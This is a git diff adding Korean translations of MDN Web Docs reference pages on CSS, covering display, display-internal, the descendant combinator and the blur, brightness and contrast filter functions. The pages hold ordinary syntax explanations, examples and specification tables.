+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;
+ &lt;div&gt;Item 1&lt;/div&gt;
+ &lt;ul&gt;
+ &lt;li&gt;Subitem A&lt;/li&gt;
+ &lt;li&gt;Subitem B&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;div&gt;Item 2&lt;/div&gt;
+ &lt;ul&gt;
+ &lt;li&gt;Subitem A&lt;/li&gt;
+ &lt;li&gt;Subitem B&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "100%", 160)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors", "#descendant-combinators", "descendant combinator")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Selectors", "#descendant-combinators", "descendant combinator")}}</td>
+ <td>{{Spec2("CSS3 Selectors")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "selector.html#descendant-selectors", "descendant selectors")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS1", "#contextual-selectors", "contextual selectors")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.descendant")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Child_combinator">자식 결합자</a></li>
+</ul>
diff --git a/files/ko/web/css/display-internal/index.html b/files/ko/web/css/display-internal/index.html
new file mode 100644
index 0000000000..8aea8a152b
--- /dev/null
+++ b/files/ko/web/css/display-internal/index.html
@@ -0,0 +1,131 @@
+---
+title: <display-internal>
+slug: Web/CSS/display-internal
+tags:
+ - CSS
+ - CSS 데이터 타입
+ - CSS 디스플레이
+ - display-internal
+ - 자료형
+ - 참조
+translation_of: Web/CSS/display-internal
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><code>table</code>과 <code>ruby</code> 같은 몇몇 레이아웃 모델은 복잡한 내부 구조를 가지고 있으며, 자식이나 자손들로 채울 수 있는 다양한 역할을 가지고 있습니다. 이 페이지는 이러한 "내재적인" 디스플레이 값을 정의하며, 이들은 특정 레이아웃 모드 안에서만 의미를 가집니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<p>유효한 <code>&lt;display-internal&gt;</code> 값들:</p>
+
+<dl>
+ <dt><code>table-row-group</code></dt>
+ <dd>이 요소는 {{HTMLElement("tbody")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-header-group</code></dt>
+ <dd>이 요소는 {{HTMLElement("thead")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-footer-group</code></dt>
+ <dd>이 요소는 {{HTMLElement("tfoot")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-row</code></dt>
+ <dd>이 요소는 {{HTMLElement("tr")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-cell</code></dt>
+ <dd>이 요소는 {{HTMLElement("td")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-column-group</code></dt>
+ <dd>이 요소는 {{HTMLElement("colgroup")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-column</code></dt>
+ <dd>이 요소는 {{HTMLElement("col")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-caption</code></dt>
+ <dd>이 요소는 {{HTMLElement("caption")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>ruby-base</code> {{Experimental_Inline}}</dt>
+ <dd>이 요소는 {{HTMLElement("rb")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>ruby-text</code> {{Experimental_Inline}}</dt>
+ <dd>이 요소는 {{HTMLElement("rt")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>ruby-base-container</code> {{Experimental_Inline}}</dt>
+ <dd>이 요소는 익명의 박스로 만들어지는 {{HTMLElement("rbc")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>ruby-text-container</code> {{Experimental_Inline}}</dt>
+ <dd>이 요소는 {{HTMLElement("rtc")}} HTML 요소처럼 동작합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS_테이블의_예시">CSS 테이블의 예시</h3>
+
+<p>다음 예시에서는 CSS 테이블 레이아웃을 이용해 간단한 폼을 배치합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;main&gt;
+ &lt;div&gt;
+ &lt;label for="name"&gt;Name&lt;/label&gt;
+ &lt;input type="text" id="name" name="name"&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;label for="age"&gt;Age&lt;/label&gt;
+ &lt;input type="text" id="age" name="age"&gt;
+ &lt;/div&gt;
+&lt;/main&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">main {
+ display: table;
+}
+
+div {
+ display: table-row;
+}
+
+label, input {
+ display: table-cell;
+ margin: 5px;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('CSS_tables_example', '100%', 100)}}</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양</th>
+ <th scope="col">상태</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Display', '#typedef-display-internal', 'display-internal')}}</td>
+ <td>{{Spec2('CSS3 Display')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 표는 구조화된 데이터로부터 생성되었습니다. 데이터에 기여하시려면, <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 확인한 뒤 저희에게 풀 리퀘스트를 보내주세요.</div>
+
+<h3 id="Table_관련_값의_지원">Table 관련 값의 지원</h3>
+
+<p><code>table</code>, <code>table-cell</code>, <code>table-column</code>, <code>table-column-group</code>, <code>table-footer-group</code>, <code>table-header-group</code>, <code>table-row</code>, <code>table-row-group</code></p>
+
+<p>{{Compat("css.properties.display.table_values", 10)}}</p>
+
+<h3 id="Ruby_관련_값의_지원">Ruby 관련 값의 지원</h3>
+
+<p><code>ruby</code>, <code>ruby-base</code>, <code>ruby-base-container</code>, <code>ruby-text</code>, <code>ruby-text-container</code></p>
+
+<p>{{Compat("css.properties.display.ruby_values", 10)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef("display")}}
+ <ul>
+ <li>{{CSSxRef("&lt;display-outside&gt;")}}</li>
+ <li>{{CSSxRef("&lt;display-inside&gt;")}}</li>
+ <li>{{CSSxRef("&lt;display-listitem&gt;")}}</li>
+ <li>{{CSSxRef("&lt;display-box&gt;")}}</li>
+ <li>{{CSSxRef("&lt;display-legacy&gt;")}}</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/css/display/index.html b/files/ko/web/css/display/index.html
new file mode 100644
index 0000000000..559a1bf4a2
--- /dev/null
+++ b/files/ko/web/css/display/index.html
@@ -0,0 +1,234 @@
+---
+title: display
+slug: Web/CSS/display
+tags:
+ - CSS
+ - CSS Display
+ - CSS Property
+ - Reference
+ - display
+translation_of: Web/CSS/display
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><strong><code>display</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소를 <a href="/ko/docs/Web/CSS/CSS_Flow_Layout">블록과 인라인</a> 요소 중 어느 쪽으로 처리할지와 함께, <a href="/ko/docs/Web/CSS/CSS_Flow_Layout">플로우</a>, <a href="/ko/docs/Web/CSS/CSS_Grid_Layout">그리드</a>, <a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">플렉스</a>처럼 자식 요소를 배치할 때 사용할 레이아웃을 설정합니다.</p>
+
+<p class="summary"><code>display</code> 속성은, 형식적으로는 요소의 내부와 외부 디스플레이 유형을 설정합니다. 외부 디스플레이 유형은 플로우 레이아웃에 요소가 참여하는 방법을 나타내고, 내부 디스플레이 유형은 자식의 레이아웃 방식을 설정합니다. <code>display</code>의 일부 값은 자신만의 명세를 가지고 있습니다. 이 문서의 끝에서 찾을 수 있는 명세표를 참고하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>display</code> 속성은 키워드 값을 사용해 지정합니다. 키워드는 6개의 카테고리로 분류할 수 있습니다.</p>
+
+<pre>.container {
+ display: &lt;display-keyword&gt;;
+}
+</pre>
+
+<h3 id="바깥쪽">바깥쪽</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;display-outside&gt;")}}</dt>
+ <dd>요소의 외부 디스플레이 유형을 설정하는 키워드입니다. 외부 디스플레이 유형은 플로우 레이아웃에서 요소 자신의 역할과 마찬가지입니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-outside", "Syntax")}}</p>
+
+<h3 id="안쪽">안쪽</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;display-inside&gt;")}}</dt>
+ <dd>요소의 내부 디스플레이 유형을 설정하는 키워드입니다. 내부 디스플레이 유형은 대체 요소가 아닌 요소의 콘텐츠 서식과 배치 방법을 나타냅니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-inside", "Syntax")}}</p>
+
+<h3 id="리스트_아이템">리스트 아이템</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;display-listitem&gt;")}}</dt>
+ <dd>요소가 콘텐츠 블록 박스를 생성하고, 리스트 아이템 인라인 박스를 분리합니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-listitem", "Syntax")}}</p>
+
+<h3 id="내부적">내부적</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;display-internal&gt;")}}</dt>
+ <dd><code>table</code>, <code>ruby</code> 등 일부 레이아웃 모델은 복잡한 내부 구조를 가지며, 자식과 자손이 채워넣을 여러가지 역할을 지닙니다. 이 항목은 그런 특정 레이아웃 모드에서만 의미를 갖는 "내부적"인 값을 정의합니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-internal", "Syntax")}}</p>
+
+<h3 id="박스">박스</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;display-box&gt;")}}</dt>
+ <dd>요소의 디스플레이 박스를 생성해야 하는지 지정합니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-box", "Syntax")}}</p>
+
+<h3 id="레거시">레거시</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;display-legacy&gt;")}}</dt>
+ <dd>CSS 2는 <code>display</code> 속성에 단일 키워드만 사용했으므로, 같은 레이아웃 모드를 위해 블록 레벨과 인라인 레벨 키워드를 각각 필요로 했습니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-legacy", "Syntax")}}</p>
+
+<p>The Level 3 specification details two values for the <code>display</code> property — enabling the specification of the outer and inner display type explicitly — but this is not yet well-supported by browsers.</p>
+
+<p>The display-legacy methods allow the same results with single keyword values, and should be favoured by developers until the two keyword values are better supported. For example, using two values you might specify an inline flex container as follows:</p>
+
+<pre class="brush: css">.container {
+ display: inline flex;
+}</pre>
+
+<p>This can currently be specified using a single value.</p>
+
+<pre class="brush: css">.container {
+ display: inline-flex;
+}
+</pre>
+
+<h3 id="전역">전역</h3>
+
+<pre class="brush: css">display: inherit;
+display: initial;
+display: unset;
+</pre>
+
+<h2 id="안내서_및_예제">안내서 및 예제</h2>
+
+<p>The individual pages for the different types of value that <code>display</code> can have set on it feature multiple examples of those values in action — see the {{anch("Syntax")}} section. In addition, see the following material, which covers the various values of display in depth.</p>
+
+<h3 id="CSS_Flow_Layout_display_block_display_inline">CSS Flow Layout (<code>display: block</code>, <code>display: inline</code>)</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout in Normal Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow">Flow Layout and Overflow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes">Flow Layout and Writing Modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting Contexts Explained</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a></li>
+</ul>
+
+<h3 id="display_flex"><code>display: flex</code></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic concepts of flexbox</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning Items in a Flex Container</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of Flex Items Along the Main Axis</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins">Cross-browser Flexbox mixins</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering Wrapping of Flex Items</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering Flex Items</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Relationship of flexbox to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">Backwards Compatibility of Flexbox</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">Typical use cases of Flexbox</a></li>
+</ul>
+
+<h3 id="display_grid"><code>display: grid</code></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basic Concepts of Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+</ul>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="display_none"><code>display: none</code></h3>
+
+<p>Using a <code>display</code> value of <code>none</code> on an element will remove it from the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a>. This will cause the element and all its descendant elements to no longer be announced by screen reading technology.</p>
+
+<p>If you want to visually hide the element, a more accessible alternative is to use <a class="external" href="https://gomakethings.com/hidden-content-for-better-a11y/#hiding-the-link">a combination of properties</a> to remove it visually from the screen but keep it parseable by assistive technology such as screen readers.</p>
+
+<h3 id="display_contents"><code>display: contents</code></h3>
+
+<p>Current implementations in most browsers will remove from the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a> any element with a <code>display</code> value of <code>contents</code> (but descendants will remain). This will cause the element itself to no longer be announced by screen reading technology. This is incorrect behavior according to the <a href="https://drafts.csswg.org/css-display/#valdef-display-contents">CSS specification</a>.</p>
+
+<ul>
+ <li><a class="external" href="https://hiddedevries.nl/en/blog/2018-04-21-more-accessible-markup-with-display-contents">More accessible markup with display: contents | Hidde de Vries</a></li>
+ <li><a class="external" href="http://adrianroselli.com/2018/05/display-contents-is-not-a-css-reset.html">Display: Contents Is Not a CSS Reset | Adrian Roselli</a></li>
+</ul>
+
+<h3 id="Tables">Tables</h3>
+
+<p>Changing the <code>display</code> value of a {{HTMLElement("table")}} element to <code>block</code>, <code>grid</code>, or <code>flex</code> will alter its representation in the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a>. This will cause the table to no longer be announced properly by screen reading technology.</p>
+
+<ul>
+ <li><a class="external" href="https://developer.paciellogroup.com/blog/2018/03/short-note-on-what-css-display-properties-do-to-table-semantics/">Short note on what CSS display properties do to table semantics — The Paciello Group</a></li>
+ <li><a class="external" href="https://gomakethings.com/hidden-content-for-better-a11y/">Hidden content for better a11y | Go Make Things</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a class="external" href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}</td>
+ <td>{{Spec2('CSS3 Display')}}</td>
+ <td>Added <code>run-in</code>, <code>flow</code>, <code>flow-root</code>, <code>contents</code>, and multi-keyword values.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}</td>
+ <td>{{Spec2('CSS3 Ruby')}}</td>
+ <td>Added <code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code>, and <code>ruby-text-container</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}</td>
+ <td>{{Spec2('CSS3 Grid')}}</td>
+ <td>Added the grid box model values.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}</td>
+ <td>{{Spec2('CSS3 Flexbox')}}</td>
+ <td>Added the flexible box model values.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Added the table model values and <code>inline-block<em>.</em></code></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#display', 'display')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition. Basic values: <code>none</code>, <code>block</code>, <code>inline</code>, and <code>list-item</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.display", 10)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout in Normal Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting contexts explained</a></li>
+ <li>{{CSSxRef("visibility")}}, {{CSSxRef("float")}}, {{CSSxRef("position")}}</li>
+ <li>{{CSSxRef("grid")}}, {{CSSxRef("flex")}}</li>
+</ul>
diff --git a/files/ko/web/css/filter-function/blur()/index.html b/files/ko/web/css/filter-function/blur()/index.html
new file mode 100644
index 0000000000..e995c42c68
--- /dev/null
+++ b/files/ko/web/css/filter-function/blur()/index.html
@@ -0,0 +1,40 @@
+---
+title: blur()
+slug: Web/CSS/filter-function/blur()
+tags:
+ - CSS
+ - CSS Function
+ - Filter Effects
+ - Reference
+translation_of: Web/CSS/filter-function/blur()
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong><code>blur()</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 함수는 주어진 이미지에 <a href="https://en.wikipedia.org/wiki/Gaussian_blur">가우시안 블러</a>를 적용합니다</span>. 반환 값은 {{cssxref("&lt;filter-function&gt;")}}입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-blur.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">blur(<em>radius</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>radius</code></dt>
+ <dd>{{cssxref("&lt;length&gt;")}}로 지정한 블러 효과의 지름. 가우시안 함수의 표준 편차, 즉 화면에 보이는 픽셀의 색상이 어느 범위까지 섞일지를 지정합니다. 따라서 큰 값은 이미지를 더 흐리게 만듭니다. <code>0</code>은 주어진 입력 결과를 그대로 반환합니다. 보간 시, 누락 값은 0입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">blur(0) /* 변화 없음 */
+blur(8px) /* 8px 블러 */
+blur(1.17rem) /* 1.17rem 블러 */</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/filter-function/brightness()/index.html b/files/ko/web/css/filter-function/brightness()/index.html
new file mode 100644
index 0000000000..1fe4b03327
--- /dev/null
+++ b/files/ko/web/css/filter-function/brightness()/index.html
@@ -0,0 +1,41 @@
+---
+title: brightness()
+slug: Web/CSS/filter-function/brightness()
+tags:
+ - CSS
+ - CSS Function
+ - Filter Effects
+ - Reference
+translation_of: Web/CSS/filter-function/brightness()
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong><code>brightness()</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 함수는 주어진 이미지에 선형 계수를 적용해 더 밝거나 어둡게 만듭니다.</span> 반환 값은 {{cssxref("&lt;filter-function&gt;")}}입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-brightness.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">brightness(<em>amount</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>amount</code></dt>
+ <dd>{{cssxref("&lt;number&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}로 지정한, 결과물의 밝기. <code>100%</code> 미만의 값은 이미지를 어둡게 만들고, <code>100%</code>를 초과하는 값은 밝게 합니다. <code>0%</code>는 이미지를 완전한 검은색으로 바꾸고 <code>100%</code>는 주어진 입력 이미지를 그대로 반환합니다. 보간 시, 누락 값은 <code>1</code>입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">brightness(0%) /* 완전한 검정 */
+brightness(0.4) /* 40% 밝기 */
+brightness(1) /* 변화 없음 */
+brightness(200%) /* 두 배 밝기 */</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/filter-function/contrast()/index.html b/files/ko/web/css/filter-function/contrast()/index.html
new file mode 100644
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--- /dev/null
+++ b/files/ko/web/css/filter-function/contrast()/index.html
@@ -0,0 +1,41 @@
+---
+title: contrast()
+slug: Web/CSS/filter-function/contrast()
+tags:
+ - CSS
+ - CSS Function
+ - Filter Effects
+ - Reference
+translation_of: Web/CSS/filter-function/contrast()
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><code><strong>contrast()</strong></code> <a href="/ko/docs/Web/CSS">CSS</a> 함수는 주어진 이미지의 대비를 조절합니다.</span> 반환 값은 {{cssxref("&lt;filter-function&gt;")}}입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-contrast.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">contrast(<em>amount</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>amount</code></dt>
+ <dd>{{cssxref("&lt;number&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}로 지정한, 결과물의 대비. <code>100%</code> 미만의 값은 이미지의 대비를 낮추고, <code>100%</code>를 초과하는 값은 높입니다. <code>0%</code>는 이미지를 완전히 회색으로 바꾸고 <code>100%</code>는 입력 이미지를 그대로 반환합니다. 보간 시, 누락 값은 <code>1</code>입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">contrast(0) /* 완전히 회색 */
+contrast(65%) /* 대비 65% */
+contrast(1) /* 변화 없음 */
+contrast(200%) /* 대비 두 배 */</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/filter-function/index.html b/files/ko/web/css/filter-function/index.html
new file mode 100644
index 0000000000..ee62fc49f6
--- /dev/null
+++ b/files/ko/web/css/filter-function/index.html
@@ -0,0 +1,210 @@
+---
+title: <filter-function>
+slug: Web/CSS/filter-function
+tags:
+ - CSS
+ - CSS Data Type
+ - Filter Effects
+ - Reference
+translation_of: Web/CSS/filter-function
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <code><strong>&lt;filter-function&gt;</strong></code> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 입력 이미지의 모습을 변형할 수 있는 그래픽 효과를 나타냅니다.</span> {{cssxref("filter")}}와 {{cssxref("backdrop-filter")}} 속성에서 사용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;filter-function&gt;</code> 자료형은 다음 목록의 필터 중 하나를 사용해 지정할 수 있습니다. 각 함수는 매개변수를 받아야 하며, 유효하지 않은 값을 전달하면 필터를 적용하지 않습니다.</p>
+
+<dl>
+ <dt>{{cssxref("filter-function/blur", "blur()")}}</dt>
+ <dd>이미지를 흐리게 만듭니다.</dd>
+ <dt>{{cssxref("filter-function/brightness", "brightness()")}}</dt>
+ <dd>이미지의 밝기를 조절합니다.</dd>
+ <dt>{{cssxref("filter-function/contrast", "contrast()")}}</dt>
+ <dd>이미지의 대비를 조절합니다.</dd>
+ <dt>{{cssxref("filter-function/drop-shadow", "drop-shadow()")}}</dt>
+ <dd>이미지의 뒤에 그림자를 적용합니다.</dd>
+ <dt>{{cssxref("filter-function/grayscale", "grayscale()")}}</dt>
+ <dd>이미지를 흑백으로 변환합니다.</dd>
+ <dt>{{cssxref("filter-function/hue-rotate", "hue-rotate()")}}</dt>
+ <dd>이미지의 전체 색조를 조절합니다.</dd>
+ <dt>{{cssxref("filter-function/invert", "invert()")}}</dt>
+ <dd>이미지의 색을 반전합니다.</dd>
+ <dt>{{cssxref("filter-function/opacity", "opacity()")}}</dt>
+ <dd>이미지의 투명도를 조절합니다.</dd>
+ <dt>{{cssxref("filter-function/saturate", "saturate()")}}</dt>
+ <dd>이미지의 채도를 조절합니다.</dd>
+ <dt>{{cssxref("filter-function/sepia", "sepia()")}}</dt>
+ <dd>이미지에 세피아 톤을 적용합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="필터_함수_비교">필터 함수 비교</h3>
+
+<p>이 예제는 간단한 그래픽과 함께 여러 가지 필터를 선택할 수 있는 선택 메뉴와, 필터의 값을 조절할 수 있는 슬라이더를 제공합니다. 컨트롤을 조절하면 필터가 실시간으로 변화하므로 각 필터의 효과를 편리하게 알아볼 수 있습니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;&lt;/div&gt;
+&lt;ul&gt;
+ &lt;li&gt;
+ &lt;label for="filter-select"&gt;필터 함수 선택:&lt;/label&gt;
+ &lt;select id="filter-select"&gt;
+ &lt;option selected&gt;blur&lt;/option&gt;
+ &lt;option&gt;brightness&lt;/option&gt;
